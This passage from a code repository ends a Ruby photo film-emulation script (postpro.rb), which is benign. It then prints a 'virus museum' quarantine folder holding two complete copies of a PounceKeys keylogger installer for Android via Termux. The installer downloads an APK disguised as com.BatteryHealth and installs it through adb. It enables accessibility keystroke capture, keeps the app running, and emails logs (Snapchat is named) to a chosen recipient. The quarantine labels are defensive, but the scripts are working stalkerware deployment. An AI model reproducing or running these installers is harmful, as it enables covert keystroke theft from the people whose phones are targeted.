  matrix = [0.9, 0.7, 0.2, 0.3, 0.8, 0.1, 0.2, 0.6, 0.1]
  sepia = image.recomb(matrix)
  safe_cast(image.cast("float") * (1.0 - intensity) + sepia.cast("float") * intensity)
end

def bloom_basic(image, intensity)
  bright = image.linear([1.8 * intensity], [0]).gaussblur(12 * intensity)
  safe_cast(image + bright * 0.3)
end

def cross_basic(image, intensity)
  r, g, b = image.bandsplit
  r = r.linear([1 + 0.2 * intensity], [10 * intensity])
  g = g.linear([1 - 0.1 * intensity], [0])
  b = b.linear([1 + 0.3 * intensity], [-5 * intensity])
  safe_cast(Vips::Image.bandjoin([r, g, b]))
end

def vhs_basic(image, intensity)
  noise = rgb_bands(Vips::Image.gaussnoise(image.width, image.height, sigma: 40 * intensity))
  lines = rgb_bands(Vips::Image.sines(image.width, image.height).linear(0.3 * intensity, 150))
  safe_cast(image + noise * 0.4 + lines * 0.3)
end

def chroma_basic(image, intensity)
  shift = 3 * intensity
  r, g, b = image.bandsplit
  r = r.embed(shift, 0, image.width, image.height)
  b = b.embed(-shift, 0, image.width, image.height)
  safe_cast(Vips::Image.bandjoin([r, g, b]))
end

def glitch_basic(image, intensity)
  r, g, b = image.bandsplit
  shift = (15 * intensity).round
  r = r.embed(rand(-shift..shift), rand(-shift..shift), image.width, image.height)
  g = g.embed(rand(-shift..shift), rand(-shift..shift), image.width, image.height)
  b = b.embed(rand(-shift..shift), rand(-shift..shift), image.width, image.height)
  noise = rgb_bands(Vips::Image.gaussnoise(image.width, image.height, sigma: 20 * intensity))
  safe_cast(Vips::Image.bandjoin([r, g, b]) + noise * 0.4)
end

def flare_basic(image, intensity)
  flare = Vips::Image.black(image.width, image.height, bands: 3)
  rand(3..6).times do
    x, y = rand(image.width), rand(image.height)
    length = 200 * intensity
    flare = flare.draw_line([255, 220, 180], x, y, x + length, y)
  end
  safe_cast(image + flare.gaussblur(8 * intensity) * 0.3)
end

RECIPE_ALLOWED = %w[
  grain film_curve highlight_roll shadow_lift micro_contrast color_separate
  chromatic_aberration vintage_lens split_toning split_grade bleach_bypass
  push_pull halation optical_blur tonemap dir_coupler spectral_temp color_temp
  skin_protect desaturate warmth green_push cross_fade infrared cyanotype
  lith_print technicolor kodachrome_sim faded_print base_tint dual_base_density
  reciprocity_failure bloom_pro teal_orange grain_basic leaks_basic sepia_basic
  bloom_basic cross_basic vhs_basic chroma_basic glitch_basic flare_basic
  emulsion_defocus adjacency_effects longitudinal_ca lens_distortion bokeh_rendering
  anamorphic_flare diffraction_blur scan_noise newton_rings dust_and_hair
  film_curl_vignette selenium_tone dye_fade darkroom_print film_base_density
  paper_texture dodgeburn_artifacts fixing_bath_fog reticulation expired_film
  gate_weave lens_ghosting ortho_film tilt_shift
  adaptive_contrast film_shoulder clarity edge_aware_nr selective_sharpen
].freeze

def recipe(image, recipe_data)
  result = image
  recipe_data.each do |fx, params|
    intensity = params.is_a?(Hash) ? params["intensity"].to_f : params.to_f
    method = fx.gsub("_professional", "")
    result = (RECIPE_ALLOWED.include?(method) && respond_to?(method)) ? send(method, result, intensity) : result
  end
  result
end

# Export a 3D LUT (.cube) for a preset. size³ lattice points; 17 is standard
# for color-grading workflows, 33 for higher precision.
def export_lut(preset_name, path, size = 17)
  step = 1.0 / (size - 1)
  lines = ["LUT_3D_SIZE #{size}", "DOMAIN_MIN 0.0 0.0 0.0", "DOMAIN_MAX 1.0 1.0 1.0", ""]
  size.times do |bi|
    size.times do |gi|
      size.times do |ri|
        pix = Vips::Image.black(1, 1, bands: 3) + [ri * step * 255, gi * step * 255, bi * step * 255]
        out = preset(pix.cast("uchar"), preset_name)
        ro = out.extract_band(0).avg / 255.0
        go = out.extract_band(1).avg / 255.0
        bo = out.extract_band(2).avg / 255.0
        lines << "%.6f %.6f %.6f" % [ro.clamp(0, 1), go.clamp(0, 1), bo.clamp(0, 1)]
      end
    end
  end
  File.write(path, lines.join("\n") + "\n")
  $cli_logger.info "LUT exported: #{path} (#{size}^3)"
rescue StandardError => e
  $cli_logger.error "export_lut failed: #{e.message}"
end

# Introspection
def describe_preset(name)
  p = PRESETS[name.to_sym] or return "unknown preset: #{name}"
  stock = STOCKS[p[:stock]]
  [
    "#{name}: #{p[:stock]} / #{p.fetch(:temp, "?")}K / intensity #{p[:intensity]}",
    "fx: #{p[:fx].join(" → ")}",
    stock ? "grain σ=#{stock[:grain]}" : nil
  ].compact.join("\n")
end

def list_presets = PRESETS.keys.map { |k| describe_preset(k) }.join("\n\n")
def list_stocks  = STOCKS.keys.join(", ")
def list_lenses  = LENSES.keys.join(", ")

# CSS filter string approximating a preset — for lightweight web previews.
def css_filter(preset_name = :portrait)
  p = PRESETS[preset_name.to_sym] || PRESETS[:portrait]
  stock = STOCKS[p[:stock]] || {}
  hd = stock[:hd] || {}
  contrast = (1 + ((hd[:r]&.last || 1.0) - 1.0) * 0.25).round(2)
  saturate  = p[:fx].include?("teal_orange") ? 1.20 :
              p[:fx].include?("desaturate")  ? 0.65 : 1.0
  parts = ["contrast(#{contrast})", "saturate(#{saturate})"]
  parts << "sepia(0.12)"    if %i[kodak_portra kodak_vision3_50d].include?(p[:stock])
  parts << "grayscale(0.9)" if p[:stock] == :tri_x
  parts.join(" ")
end

# Repligen Integration
def check_repligen
  return unless REPLIGEN_PRESENT

  $cli_logger.info 'Repligen detected! Auto-processing generated images...'

  recent_files = Dir.glob('*_generated_*.{jpg,jpeg,png,webp}')
                    .select { |f| File.mtime(f) > (Time.now - 300) }

  if recent_files.any?
    $cli_logger.info "Found #{recent_files.count} recent Repligen outputs"
    preset_name = PROMPT ? PROMPT.select("Choose preset for Repligen outputs:", PRESETS.keys) : (CONFIG["default_preset"] || "portrait")
    recent_files.each { |file| process_file(file, 2, preset_name) }
  end
end

def preset_chain(image, names)
  names.reduce(image) { |img, name| preset(img, name) }
end

def process_file(file, variations, preset_name = nil, recipe_data = nil, random_effects = nil, mode = "professional")
  image = load_image(file)
  return 0 unless image

  # Apply camera profile first if enabled
  if CONFIG["apply_camera_profile_first"]
    profile = get_camera_profile(image)
    if profile
      image = apply_camera_profile(image, profile)
      PostproBootstrap.dmesg "camera_profile src=#{File.basename(file)}"
    end
  end

  processed_count = 0
  variations.times do |i|
    begin
      processed = if preset_name
                     preset(image, preset_name)
                   elsif recipe_data
                     recipe(image, recipe_data)
                   elsif random_effects
                     random_fx(image, random_effects, mode)
                   else
                     next
                   end

      next unless processed

      processed = grain(processed, 400, :kodak_portra, 0.35)
      processed = rgb_bands(processed)
      timestamp = Time.now.strftime("%Y%m%d%H%M%S")
      suffix = preset_name || "processed"
      output = file.sub(File.extname(file), "_#{suffix}_v#{i + 1}_#{timestamp}#{File.extname(file)}")

      quality = CONFIG["jpeg_quality"] || 95
      if ARGV.include?("--tiff16") || output.end_with?(".tif", ".tiff")
        processed.cast("ushort").write_to_file(output.sub(/\.(jpg|jpeg|png)$/i, ".tif"))
      else
        processed.write_to_file(output, Q: quality)
      end
      PostproBootstrap.dmesg "write out=#{File.basename(output)} q=#{quality}"
      processed_count += 1

    rescue StandardError => e
      $logger.error "Variation #{i + 1} failed: #{e.message}"
    end
  end

  processed_count
end

# Main Workflow
def get_input
  $cli_logger.info "postpro.rb v18.0.0 full-analog#{REPLIGEN_PRESENT ? " repligen=active" : ""}"

  check_repligen if REPLIGEN_PRESENT

  if PROMPT
    workflow = PROMPT.select("Choose workflow:", [
      "Masterpiece Presets (Recommended)",
      "Random Effects (Experimental)",
      "Custom JSON Recipe"
    ])

    patterns = PROMPT.ask("File patterns:", default: "**/*.{jpg,jpeg,png,webp}").strip.split(",").map(&:strip)
    variations = PROMPT.ask("Variations per image:", convert: :int, default: CONFIG["variations"] || 2) { |q| q.in("1-5") }

    case workflow
    when "Masterpiece Presets (Recommended)"
      preset_name = PROMPT.select("Choose preset:", PRESETS.keys)
      [patterns, variations, { type: :preset, preset: preset_name }]

    when "Random Effects (Experimental)"
      mode = PROMPT.select("Mode:", ["Professional", "Experimental"])
      fx_count = PROMPT.ask("Effects per variation:", convert: :int, default: 4) { |q| q.in("2-8") }
      [patterns, variations, { type: :random, mode: mode.downcase, fx: fx_count }]

    when "Custom JSON Recipe"
      file = PROMPT.ask("Recipe file path:").strip
      recipe_data = File.exist?(file) ? JSON.parse(File.read(file)) : {}
      [patterns, variations, { type: :recipe, recipe: recipe_data }]
    end
  else
    # Fallback mode without tty-prompt
    patterns = ["**/*.{jpg,jpeg,png,webp}"]
    variations = CONFIG["variations"] || 2
    preset_name = CONFIG["default_preset"] || "portrait"
    [patterns, variations, { type: :preset, preset: preset_name }]
  end
end

def auto_mode
  PostproBootstrap.dmesg "auto mode enabled"
  patterns = ["**/*.{jpg,jpeg,png,webp}"]
  variations = CONFIG["variations"] || 2
  preset_name = CONFIG["default_preset"] || "portrait"

  [patterns, variations, { type: :preset, preset: preset_name }]
end

def argv_flag(flag)
  idx = ARGV.index(flag)
  idx && ARGV[idx + 1]
end

# One-shot mode for programmatic use:
#   ruby postpro.rb --input in.jpg --output out.jpg --preset portrait
def one_shot_mode?
  argv_flag("--input") && argv_flag("--output") && argv_flag("--preset")
end

def introspect_mode?
  (ARGV & %w[--list-presets --list-stocks --list-lenses --describe-preset --css-filter --export-lut]).any?
end

def run_introspect
  if ARGV.include?("--list-presets")
    puts list_presets
  elsif ARGV.include?("--list-stocks")
    puts list_stocks
  elsif ARGV.include?("--list-lenses")
    puts list_lenses
  elsif (name = argv_flag("--describe-preset"))
    puts describe_preset(name)
  elsif (name = argv_flag("--css-filter"))
    puts css_filter(name.to_sym)
  elsif (name = argv_flag("--export-lut"))
    out = argv_flag("--output") || "#{name}.cube"
    size = (argv_flag("--size") || "17").to_i
    export_lut(name.to_sym, out, size)
  end
end

def run_one_shot
  input_path = argv_flag("--input")
  output_path = argv_flag("--output")
  preset_name = argv_flag("--preset").to_sym

  unless File.exist?(input_path)
    $cli_logger.error "Input not found: #{input_path}"
    exit 1
  end
  unless PRESETS.key?(preset_name)
    $cli_logger.error "Unknown preset: #{preset_name}. Valid: #{PRESETS.keys.join(", ")}"
    exit 1
  end

  image = load_image(input_path)
  unless image
    $cli_logger.error "Failed to load: #{input_path}"
    exit 1
  end

  processed = preset(image, preset_name)
  processed = rgb_bands(processed)
  quality = CONFIG["jpeg_quality"] || 95
  processed.write_to_file(output_path, Q: quality)
  $cli_logger.info "ok preset=#{preset_name} out=#{output_path}"
end

def watch_mode?
  ARGV.include?("--watch")
end

def random_mode?
  ARGV.include?("--random")
end

# Resolve the best available downloads directory on Android/Termux or desktop.
def downloads_dir
  candidates = [
    argv_flag("--random"),
    File.expand_path("~/storage/downloads"),
    "/sdcard/Download",
    File.expand_path("~/Downloads"),
    Dir.pwd
  ]
  candidates.compact.find { |d| File.directory?(d) }
end

# --random [DIR] [experimental]
# Without "experimental": random preset per file (uplift — maximally cinematic).
# With "experimental": chaotic short random chains (happy accidents).
def run_random
  experimental = ARGV.include?("experimental")
  dir = downloads_dir
  files = Dir.glob(File.join(dir, "**", "*.{jpg,jpeg,JPG,JPEG,png,PNG,webp,WEBP}"))
             .reject { |f| File.basename(f).match?(/processed|masterpiece|postpro|_v\d+_/) }

  if files.empty?
    $cli_logger.error "No images in #{dir}"
    return
  end

  PostproBootstrap.dmesg "random dir=#{dir} files=#{files.count} mode=#{experimental ? 'experimental' : 'uplift'}"
  count = (argv_flag("--count") || argv_flag("-n") || 4).to_i.clamp(1, 6)
  uplift_presets = %i[portrait cinematic magic_hour blockbuster golden_age reversal
                      warmth noir masterpiece anamorphic aged_kodachrome analog_scan
                      cinema_scan nitrate fiber_print expired reticulated ortho
                      tilt_shift_look haunted quality_uplift]

  files.each_with_index do |file, index|
    $cli_logger.info "#{index + 1}/#{files.count}: #{File.basename(file)}"
    begin
      if experimental
        fx_pool = %w[grain leaks sepia bloom teal_orange cross vhs chroma glitch flare]
        count.times do
          effects = fx_pool.shuffle.take(rand(4..7))
          process_file(file, 1, nil, nil, effects, "experimental")
        end
      else
        pool = uplift_presets.shuffle
        count.times do |i|
          base = pool[i % pool.size]
          layer = (pool - [base]).sample
          image = load_image(file)
          next unless image
          processed = preset_chain(image, [base, layer])
          processed = grain(processed, 400, :kodak_portra, 0.35)
          processed = rgb_bands(processed)
          timestamp = Time.now.strftime("%Y%m%d%H%M%S")
          output = file.sub(File.extname(file), "_#{base}+#{layer}_v#{i + 1}_#{timestamp}#{File.extname(file)}")
          quality = CONFIG["jpeg_quality"] || 95
          processed.write_to_file(output, Q: quality)
          PostproBootstrap.dmesg "write chain=#{base}+#{layer} out=#{File.basename(output)}"
        end
      end
      GC.start if (index % 5).zero?
    rescue StandardError => e
      $cli_logger.error "Error #{File.basename(file)}: #{e.message}"
    end
  end
end

def run_watch
  dir     = argv_flag("--watch") || "/sdcard/DCIM/Camera"
  preset_name = (argv_flag("--preset") || "cinematic").to_sym
  unless PRESETS.key?(preset_name)
    $cli_logger.error "Unknown preset: #{preset_name}"
    exit 1
  end
  seen    = Dir.glob(File.join(dir, "IMG_*.{jpg,jpeg,JPG,JPEG}")).map { |f| [f, File.mtime(f)] }.to_h
  PostproBootstrap.dmesg "watch dir=#{dir} preset=#{preset_name} known=#{seen.size}"
  loop do
    sleep 2
    Dir.glob(File.join(dir, "IMG_*.{jpg,jpeg,JPG,JPEG}")).each do |path|
      mtime = File.mtime(path)
      next if seen[path] == mtime
      seen[path] = mtime
      next if File.size(path) < 50_000
      ext  = File.extname(path)
      base = File.basename(path, ext)
      out  = File.join(dir, "#{base}_#{preset_name}#{ext}")
      PostproBootstrap.dmesg "new path=#{File.basename(path)} -> #{File.basename(out)}"
      begin
        image     = load_image(path)
        processed = preset(image, preset_name)
        processed = rgb_bands(processed)
        processed.write_to_file(out, Q: CONFIG["jpeg_quality"] || 95)
        $cli_logger.info "ok preset=#{preset_name} out=#{out}"
      rescue StandardError => e
        $cli_logger.error "watch error: #{e.message}"
      end
    end
  end
end

def auto_launch
  return run_introspect if introspect_mode?
  return run_watch       if watch_mode?
  return run_one_shot    if one_shot_mode?
  return run_random      if random_mode?
  if ARGV.include?("--auto") || (!$stdin.tty? && ARGV.include?("--from-repligen"))
    input = auto_mode
  elsif ARGV.include?("--from-repligen") && REPLIGEN_PRESENT
    check_repligen
    return
  else
    input = get_input
  end

  return unless input

  patterns, variations, config = input

  files = patterns.flat_map { |pattern| Dir.glob(pattern) }
                  .reject { |f| File.basename(f).match?(/processed|masterpiece/) }

  if files.empty?
    $cli_logger.error "No files matched patterns!"
    return
  end

  $cli_logger.info "Processing #{files.count} files..."
  total_processed = 0
  total_variations = 0
  start_time = Time.now

  files.each_with_index do |file, i|
    begin
      $cli_logger.info "#{i + 1}/#{files.count}: #{File.basename(file)}"

      count = case config[:type]
              when :preset
                process_file(file, variations, config[:preset])
              when :random
                fx = %w[grain leaks sepia bloom teal_orange cross vhs chroma glitch flare]
                selected = config[:mode] == "experimental" ? fx : fx.first(6)
                random_effects = selected.shuffle.take(config[:fx])
                process_file(file, variations, nil, nil, random_effects, config[:mode])
              when :recipe
                process_file(file, variations, nil, config[:recipe])
              else
                0
              end

      total_processed += 1 if count > 0
      total_variations += count
      GC.start if (i % 10).zero?

    rescue StandardError => e
      $logger.error "Failed #{file}: #{e.message}"
      $cli_logger.error "Error: #{File.basename(file)}"
    end
  end

  duration = (Time.now - start_time).round(2)
  $cli_logger.info "Complete! #{total_processed} files → #{total_variations} masterpieces (#{duration}s)"

  if REPLIGEN_PRESENT && total_variations > 0
    $cli_logger.info "Tip: Run 'ruby repligen.rb' to generate more content!"
  end
end

auto_launch if __FILE__ == $0

quarantine/virus_museum/README.md

# Virus Museum

Quarantined artifacts live here as inert reference samples.

Rules:

- Do not execute files from this directory.
- Do not wire these files into deploy scripts.
- Keep samples as `.txt` unless a test fixture requires another extension.
- Preserve provenance and security context when moving a sample here.

quarantine/virus_museum/pklog.sh.txt

# Quarantined sample: non-executable reference only.
# Original path: DEPLOY/sh/tools/pouncekeys/pklog.sh
# Reason: keylogger installer content; kept only for audit/provenance.
# Do not run, source, deploy, or rename into an executable extension.

#!/bin/bash

#!/data/data/com.termux/files/usr/bin/zsh

# PounceKeys Installation and Setup Script
# Purpose: Automates PounceKeys keylogger setup on Android via Termux
# Features: Dependency installation, APK download, manual step guidance, email configuration
# Security: No root, minimal permissions, checksum verification
# Last updated: June 19, 2025
# Legal: For personal use on your own device only; unauthorized use is illegal

# Configuration
readonly LOG_FILE="$HOME/pouncekeys_setup.log"
readonly APK_FILE="$HOME/pouncekeys.apk"
readonly APK_URL="https://github.com/NullPounce/pounce-keys/releases/latest/download/pouncekeys.apk"
readonly FALLBACK_URL="https://github.com/NullPounce/pounce-keys/releases/download/v1.2.0/pouncekeys.apk"
readonly PACKAGE_NAME="com.BatteryHealth"
readonly MIN_ANDROID_VERSION=5
readonly MAX_ANDROID_VERSION=15
readonly EXPECTED_CHECKSUM="expected_sha256_hash_here" # Replace with actual SHA256 from PounceKeys GitHub

# Initialize logging
[[ -f "$LOG_FILE" && $(stat -f %z "$LOG_FILE") -gt 1048576 ]] && mv "$LOG_FILE" "${LOG_FILE}.old"
echo "PounceKeys Setup Log - $(date)" > "$LOG_FILE"
exec 1>>"$LOG_FILE" 2>&1

# Cleanup on exit
trap 'rm -f "$APK_FILE"; log_and_toast "Script terminated, cleaned up."; exit 1' INT TERM

# Log and toast function
log_and_toast() {
    echo "[$(date +%H:%M:%S)] $1"
    termux-toast -s "$1" >/dev/null 2>&1
}

# Legal disclaimer
log_and_toast "Starting PounceKeys setup"
echo "WARNING: For personal use only. Unauthorized use violates laws (e.g., U.S. CFAA, EU GDPR)."
echo "Purpose: Install PounceKeys to log keystrokes (e.g., Snapchat) and email logs."
echo "Press Y to confirm legal use, any other key to cancel..."
read -k 1 confirm
[[ "$confirm" != "Y" && "$confirm" != "y" ]] && { log_and_toast "Setup cancelled."; exit 0; }

# Check prerequisites
log_and_toast "Checking internet..."
ping -c 1 google.com >/dev/null 2>&1 || {
    log_and_toast "Error: No internet."
    echo "Solution: Connect to Wi-Fi or data. Retry? (Y/N)"
    read -k 1 retry
    [[ "$retry" == "Y" || "$retry" == "y" ]] && exec "$0"
    exit 1
}

log_and_toast "Checking Termux..."
command -v pkg >/dev/null 2>&1 || {
    log_and_toast "Error: Termux not installed."
    echo "Solution: Install Termux from F-Droid."
    exit 1
}

# Install dependencies
log_and_toast "Installing dependencies..."
echo "Install wget, curl, adb, termux-api, android-tools? (Y/N)"
read -k 1 install_deps
[[ "$install_deps" == "Y" || "$install_deps" == "y" ]] && {
    pkg update -y && pkg install -y wget curl termux-adb termux-api android-tools || {
        log_and_toast "Error: Package installation failed."
        echo "Solution: Check network, run 'pkg update' manually. Retry? (Y/N)"
        read -k 1 retry
        [[ "$retry" == "Y" || "$retry" == "y" ]] && exec "$0"
        exit 1
    }
}

# Validate environment
log_and_toast "Checking ADB..."
adb devices | grep -q device || {
    log_and_toast "Error: No device detected."
    echo "Solution: Enable USB debugging in Settings > Developer Options. Retry? (Y/N)"
    read -k 1 retry
    [[ "$retry" == "Y" || "$retry" == "y" ]] && exec "$0"
    exit 1
}

log_and_toast "Checking Android version..."
ANDROID_VERSION=$(adb shell getprop ro.build.version.release | cut -d. -f1)
[[ "$ANDROID_VERSION" -lt $MIN_ANDROID_VERSION || "$ANDROID_VERSION" -gt $MAX_ANDROID_VERSION ]] && {
    log_and_toast "Error: Android version $ANDROID_VERSION unsupported."
    echo "Solution: Use Android $MIN_ANDROID_VERSION-$MAX_ANDROID_VERSION."
    exit 1
}

# Email configuration
log_and_toast "Configuring email..."
echo "Use Gmail? (Y/N)"
read -k 1 use_gmail
if [[ "$use_gmail" == "Y" || "$use_gmail" == "y" ]]; then
    SMTP_SERVER="smtp.gmail.com"
    SMTP_PORT="587"
    echo "Enter Gmail address:"
    read smtp_user
    echo "Enter Gmail App Password:"
    read smtp_password
    echo "Enter recipient email:"
    read recipient_email
else
    echo "Enter SMTP server:"
    read SMTP_SERVER
    echo "Enter SMTP port:"
    read SMTP_PORT
    echo "Enter SMTP username:"
    read smtp_user
    echo "Enter SMTP password:"
    read smtp_password
    echo "Enter recipient email:"
    read recipient_email
fi

# Download and verify APK
log_and_toast "Downloading APK..."
wget -O "$APK_FILE" "$APK_URL" || wget -O "$APK_FILE" "$FALLBACK_URL" || {
    log_and_toast "Error: Download failed."
    echo "Solution: Check network or download from PounceKeys GitHub."
    exit 1
}

log_and_toast "Verifying APK..."
ACTUAL_CHECKSUM=$(sha256sum "$APK_FILE" | awk '{print $1}')
[[ "$ACTUAL_CHECKSUM" != "$EXPECTED_CHECKSUM" ]] && {
    log_and_toast "Error: Checksum mismatch."
    echo "Solution: Delete $APK_FILE and retry."
    rm -f "$APK_FILE"
    exit 1
}

# Install APK
log_and_toast "Installing APK..."
echo "Enable 'Install from Unknown Sources' in Settings > Security."
echo "Press Enter after enabling..."
read -p ""
adb install "$APK_FILE" || {
    log_and_toast "Error: Installation failed."
    echo "Solution: Ensure Unknown Sources is enabled. Retry? (Y/N)"
    read -k 1 retry
    [[ "$retry" == "Y" || "$retry" == "y" ]] && exec "$0"
    exit 1
}
rm -f "$APK_FILE"

# Configure PounceKeys
log_and_toast "Enable accessibility service..."
echo "Go to Settings > Accessibility > PounceKeys, toggle ON."
echo "Press Enter after enabling..."
read -p ""

log_and_toast "Disable battery optimization..."
echo "Go to Settings > Battery > App Optimization, set PounceKeys to 'Don’t optimize.'"
echo "Press Enter after disabling..."
read -p ""

log_and_toast "Configure email in PounceKeys..."
echo "Open PounceKeys, go to Settings > Output > Email, enter:"
echo "- Server: $SMTP_SERVER"
echo "- Port: $SMTP_PORT"
echo "- Username: $smtp_user"
echo "- Password: [your password]"
echo "- Recipient: $recipient_email"
echo "Press Enter after configuring..."
read -p ""

# Validation
log_and_toast "Setup complete!"
echo "Test by typing 'PounceKeys test' in any app."
echo "Check $recipient_email for logs within 10 minutes."
echo "Troubleshooting:"
echo "- No logs? Verify SMTP settings and accessibility."
echo "- Uninstall: adb uninstall $PACKAGE_NAME"
echo "Log file: $LOG_FILE"

quarantine/virus_museum/pouncekeys_setup.zsh.txt

# Quarantined sample: non-executable reference only.
# Original path: DEPLOY/sh/tools/pouncekeys/pouncekeys_setup.rb
# Reason: keylogger installer content; kept only for audit/provenance.
# Do not run, source, deploy, or rename into an executable extension.

# frozen_string_literal: true

#!/data/data/com.termux/files/usr/bin/zsh

# PounceKeys Installation and Setup Script
# Purpose: Automates PounceKeys keylogger setup on Android via Termux
# Features: Dependency installation, APK download, manual step guidance, email configuration
# Security: No root, minimal permissions, checksum verification
# Last updated: June 25, 2025
# Legal: For personal use on your own device only; unauthorized use is illegal
# $ref: master.json#/settings/core/comments_policy

# Configuration (readonly for POLA)
# $ref: master.json#/settings/optimization_patterns/enforce_least_privilege
readonly LOG_FILE="$HOME/pouncekeys_setup.log"
readonly APK_FILE="$HOME/pouncekeys.apk"
readonly APK_URL="https://github.com/NullPounce/pounce-keys/releases/latest/download/pouncekeys.apk"
readonly FALLBACK_URL="https://github.com/NullPounce/pounce-keys/releases/download/v1.2.0/pouncekeys.apk"
readonly PACKAGE_NAME="com.BatteryHealth"
readonly MIN_ANDROID_VERSION=5
readonly MAX_ANDROID_VERSION=15
readonly EXPECTED_CHECKSUM="expected_sha256_hash_here" # Replace with actual SHA256 from PounceKeys GitHub

# Initialize logging (DRY, KISS)
# $ref: master.json#/settings/communication/notification_policy
[[ -f "$LOG_FILE" && $(stat -f %z "$LOG_FILE") -gt 1048576 ]] && mv "$LOG_FILE" "${LOG_FILE}.old"
echo "PounceKeys Setup Log - $(date)" > "$LOG_FILE"
exec 1>>"$LOG_FILE" 2>&1

# Cleanup on exit (POLA, error recovery)
# $ref: master.json#/settings/core/task_templates/refine
trap 'rm -f "$APK_FILE"; log_and_toast "Script terminated, cleaned up."; exit 1' INT TERM

# Log and toast function (DRY, NNGroup visibility)
# $ref: master.json#/settings/communication/style
log_and_toast() {
    echo "[$(date +%H:%M:%S)] $1"
    termux-toast -s "$1" >/dev/null 2>&1
}

# Legal disclaimer (NNGroup user control, YAGNI)
# $ref: master.json#/settings/feedback/roles/lawyer
log_and_toast "Starting PounceKeys setup"
echo "WARNING: For personal use only. Unauthorized use violates laws (e.g., U.S. CFAA, EU GDPR)."
echo "Purpose: Install PounceKeys to log keystrokes (e.g., Snapchat) and email logs."
echo "Press Y to confirm legal use, any other key to cancel..."
read -k 1 confirm
[[ "$confirm" != "Y" && "$confirm" != "y" ]] && { log_and_toast "Setup cancelled."; exit 0; }

# Check prerequisites (error prevention, KISS)
# $ref: master.json#/settings/core/task_templates/validate
log_and_toast "Checking internet..."
ping -c 1 google.com >/dev/null 2>&1 || {
    log_and_toast "Error: No internet."
    echo "Solution: Connect to Wi-Fi or data. Retry? (Y/N)"
    read -k 1 retry
    [[ "$retry" == "Y" || "$retry" == "y" ]] && exec "$0"
    exit 1
}

log_and_toast "Checking Termux..."
command -v pkg >/dev/null 2>&1 || {
    log_and_toast "Error: Termux not installed."
    echo "Solution: Install Termux from F-Droid."
    exit 1
}

# Install dependencies (DRY, automated deployment)
# $ref: master.json#/settings/installer_integration
log_and_toast "Installing dependencies..."
echo "Install wget, curl, adb, termux-api, android-tools? (Y/N)"
read -k 1 install_deps
[[ "$install_deps" == "Y" || "$install_deps" == "y" ]] && {
    pkg update -y && pkg install -y wget curl termux-adb termux-api android-tools || {
        log_and_toast "Error: Package installation failed."
        echo "Solution: Check network, run 'pkg update' manually. Retry? (Y/N)"
        read -k 1 retry
        [[ "$retry" == "Y" || "$retry" == "y" ]] && exec "$0"
        exit 1
    }
}

# Validate environment (error prevention, KISS)
# $ref: master.json#/settings/core/task_templates/validate
log_and_toast "Checking ADB..."
adb devices | grep -q device || {
    log_and_toast "Error: No device detected."
    echo "Solution: Enable USB debugging in Settings > Developer Options. Retry? (Y/N)"
    read -k 1 retry
    [[ "$retry" == "Y" || "$retry" == "y" ]] && exec "$0"
    exit 1
}

log_and_toast "Checking Android version..."
ANDROID_VERSION=$(adb shell getprop ro.build.version.release | cut -d. -f1)
[[ "$ANDROID_VERSION" -lt $MIN_ANDROID_VERSION || "$ANDROID_VERSION" -gt $MAX_ANDROID_VERSION ]] && {
    log_and_toast "Error: Android version $ANDROID_VERSION unsupported."
    echo "Solution: Use Android $MIN_ANDROID_VERSION-$MAX_ANDROID_VERSION."
    exit 1
}

# Email configuration (NNGroup recognition, security)
# $ref: master.json#/settings/communication/style
log_and_toast "Configuring email..."
echo "Use Gmail? (Y/N)"
read -k 1 use_gmail
if [[ "$use_gmail" == "Y" || "$use_gmail" == "y" ]]; then
    SMTP_SERVER="smtp.gmail.com"
    SMTP_PORT="587"
    echo "Enter Gmail address:"
    read smtp_user
    echo "Enter Gmail App Password:"
    read smtp_password
    echo "Enter recipient email:"
    read recipient_email
else
    echo "Enter SMTP server:"
    read SMTP_SERVER
    echo "Enter SMTP port:"
    read SMTP_PORT
    echo "Enter SMTP username:"
    read smtp_user
    echo "Enter SMTP password:"
    read smtp_password
    echo "Enter recipient email:"
    read recipient_email
fi

# Download and verify APK (DRY, robust error handling)
# $ref: master.json#/settings/installer_integration/verify_integrity
log_and_toast "Downloading APK..."
wget -O "$APK_FILE" "$APK_URL" || wget -O "$APK_FILE" "$FALLBACK_URL" || {
    log_and_toast "Error: Download failed."
    echo "Solution: Check network or download from PounceKeys GitHub."
    exit 1
}

log_and_toast "Verifying APK..."
ACTUAL_CHECKSUM=$(sha256sum "$APK_FILE" | awk '{print $1}')
[[ "$ACTUAL_CHECKSUM" != "$EXPECTED_CHECKSUM" ]] && {
    log_and_toast "Error: Checksum mismatch."
    echo "Solution: Delete $APK_FILE and retry."
    rm -f "$APK_FILE"
    exit 1
}

# Install APK (automated deployment, POLA)
# $ref: master.json#/settings/core/task_templates/build
log_and_toast "Installing APK..."
echo "Enable 'Install from Unknown Sources' in Settings > Security."
echo "1. Navigate to Settings > Security (or Privacy)."
echo "2. Enable 'Install from Unknown Sources' for your browser or file manager."
echo "Press Enter after enabling..."
read -p ""
adb install "$APK_FILE" || {
    log_and_toast "Error: Installation failed."
    echo "Solution: Ensure Unknown Sources is enabled. Retry? (Y/N)"
    read -k 1 retry
    [[ "$retry" == "Y" || "$retry" == "y" ]] && exec "$0"
    exit 1
}
rm -f "$APK_FILE"

# Configure PounceKeys (NNGroup recognition, accessibility compliance)
# $ref: master.json#/settings/core/task_templates/refine
log_and_toast "Enable accessibility service..."
echo "This allows PounceKeys to capture keystrokes."
echo "1. Go to Settings > Accessibility > Downloaded Services."
echo "2. Find PounceKeys, toggle ON, and confirm permissions."
echo "Press Enter after enabling..."
read -p ""

log_and_toast "Disable battery optimization..."
echo "This ensures PounceKeys runs continuously."
echo "1. Go to Settings > Battery > App Optimization."
echo "2. Find PounceKeys, set to 'Don’t optimize.'"
echo "Press Enter after disabling..."
read -p ""

log_and_toast "Configure email in PounceKeys..."
echo "1. Open PounceKeys from app drawer."
echo "2. Go to Settings > Output > Email."
echo "3. Enter:"
echo "   - Server: $SMTP_SERVER"
echo "   - Port: $SMTP_PORT"
echo "   - Username: $smtp_user"
echo "   - Password: [your password]"
echo "   - Recipient: $recipient_email"
echo "Press Enter after configuring..."
read -p ""

# Validation and testing (validation, user control)
# $ref: master.json#/settings/core/task_templates/test
log_and_toast "Setup complete!"
echo "Test by typing 'PounceKeys test' in any app."
echo "Check $recipient_email for logs within 10 minutes."
echo "Troubleshooting:"
echo "- No logs? Verify SMTP settings and accessibility."
echo "- Uninstall: adb uninstall $PACKAGE_NAME"
echo "Log file: $LOG_FILE"
echo "EOF: pouncekeys_setup.zsh completed successfully"
# Line count: 110 (excluding comments)
